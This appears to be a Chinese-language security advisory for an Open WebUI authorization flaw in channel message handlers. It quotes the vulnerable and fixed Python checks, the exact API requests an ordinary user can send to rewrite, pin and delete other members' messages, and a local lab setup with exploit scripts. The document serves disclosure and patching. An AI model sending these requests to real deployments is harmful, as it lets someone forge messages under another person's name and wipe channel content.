Open WebUI 受影响版本为 0.5.0 至 0.10.2,已在 0.11.0 中修复。中危,CVSS 5.4,CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L,CWE-284 和 CWE-862。
在 backend/open_webui/routers/channels.py 中,消息更新和删除处理程序根据频道类型进行分支,而这两个分支提出的问题不同。群组和私信频道仅限作者本人操作。
if channel.type in ['group', 'dm']:
if not await Channels.is_user_channel_member(channel.id, user.id, db=db):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
# Membership is not authorship — block cross-member edits.
if user.role != 'admin' and message.user_id != user.id:
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
if (
user.role != 'admin'
and message.user_id != user.id
and not await channel_has_access(user.id, channel, permission='write', strict=False, db=db)
):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
标准频道分支仅凭写权限即可通过,而写权限正是 new_message_handler 发布消息所需的条件,因此发言能力被当作了重写和删除的能力。channel_has_access 既可通过单用户授权满足,也可通过公开授权满足,因此带有协作者的私密房间也会像公开频道一样受影响。更新表单绑定 content、data 和 meta,而模型层从不触碰 message.user_id,因此编辑后的消息仍保留原始作者的名字。
利用方式是来自一个角色为 user 的普通账户的三次普通 API 调用,该账户不在任何群组中,不拥有任何资源,也没有创建过任何消息。
POST /api/v1/channels/<id>/messages/<victim_msg>/update
{"content":"wire the funds to account 000",
"data":{"attacker_injected":true},
"meta":{"stored_payload":""}} -> 200
POST /api/v1/channels/<id>/messages/<victim_msg>/pin -> 200
DELETE /api/v1/channels/<id>/messages/<other_msg>/delete -> 200, true
0.11.0 中的提交 c609ec411 将检查拆分为:先检查写权限,再检查作者身份,与群组分支保持一致。按设计,置顶仍保持写权限级别。
else:
if user.role != 'admin' and not await channel_has_access(
user.id, channel, permission='write', strict=False, db=db
):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
# Write access is not authorship — block cross-member edits.
if user.role != 'admin' and message.user_id != user.id:
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
docker run -d -p 3080:8080 -e WEBUI_SECRET_KEY=devkey -e ENABLE_SIGNUP=true \
-e DEFAULT_USER_ROLE=user --name open-webui ghcr.io/open-webui/open-webui:0.10.2
python3 prep/lab_setup.py # administrator, no attack, writes lab.json
python3 exploit_channel_message_tamper.py # attacker, plus read-only and group-channel controls
python3 exploit_channel_takeover.py --wipe # attacker, full channel takeover
于 2026 年 8 月 4 日针对 0.10.2 重新运行。脚本会删除其他成员的消息,因此请仅将其指向一次性本地实例。
https://github.com/open-webui/open-webui/security/advisories/GHSA-mj5r-jf49-m3w7